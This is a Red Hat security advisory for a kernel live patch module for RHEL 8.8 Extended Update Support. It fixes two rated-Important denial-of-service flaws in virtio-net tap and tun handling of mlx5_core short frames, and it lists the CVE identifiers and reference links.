Linux 8.8 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:This is a kernel live patch module which can be loaded by the kpatch command line utility to modify the code of a running kernel.  This patch module is targeted for kernel-4.18.0-477.43.1.el8_8.Security Fix(es):* kernel: virtio-net: tap: mlx5_core short frame denial of service (CVE-2024-41090)* kernel: virtio-net: tun: mlx5_core short frame denial of service (CVE-2024-41091)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-41090References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2299240https://bugzilla.redhat.com/show_bug.cgi?id=2299336

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#vulnerability